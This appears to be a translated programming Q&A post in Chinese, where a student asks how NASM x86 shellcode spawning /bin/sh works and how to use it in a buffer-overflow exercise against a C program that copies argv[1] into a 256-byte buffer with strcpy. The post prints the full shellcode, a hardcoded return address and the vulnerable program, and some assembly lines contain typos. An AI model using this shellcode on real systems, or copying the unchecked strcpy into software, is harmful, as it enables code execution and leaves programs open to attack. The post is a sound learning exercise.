【发布时间】:2015-01-11 16:04:15
【问题描述】:
我有一个 C 代码和一个汇编代码,我必须使用它们来使用 GDB 对 C 程序执行缓冲区溢出攻击。我可能会使用命令 run $(cat ),但是..
我无法编译汇编代码 - times NNNN db 0xff 给出了一个关于分配非常量值的错误,但我实际上不知道它做了什么,或者应该做什么。
似乎最后 4 行的工作方式类似于 esi 指向的堆栈推送,对吧?
mov byte al, 0x0b 行使用参数 /bin/sh0、AAAA 和 BBBB 调用 execv。为什么我们需要最后两个?
最后是int 0x80,我也不知道它是做什么用的。
另外,jmp short callit -> callit doit 和从头开始 doit 有什么区别?
如果有人可以帮助我,我将不胜感激,谷歌搜索了几个小时后我迷路了。
NASM x86 代码:
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi+7], al
lea bx, [esi]
mov dword [esi+8], ebx
mov dword [esi+12], eax
mov byte al, 0x0b
mov ebx, esi
lea exc, [esi+8]
lea edx, [esi+12]
int 0x80
callit
call doit
db '/bin/sh#AAAABBBB'
times NNNN db 0xff
dd 0xbffff050
db 0x00
C 代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
char buffer[256];
if (argc > 1) {
strcpy(buffer, argv[1]);
}
printf("%p\n", buffer);
return 0;
}
【问题讨论】:
标签: c linux assembly buffer-overflow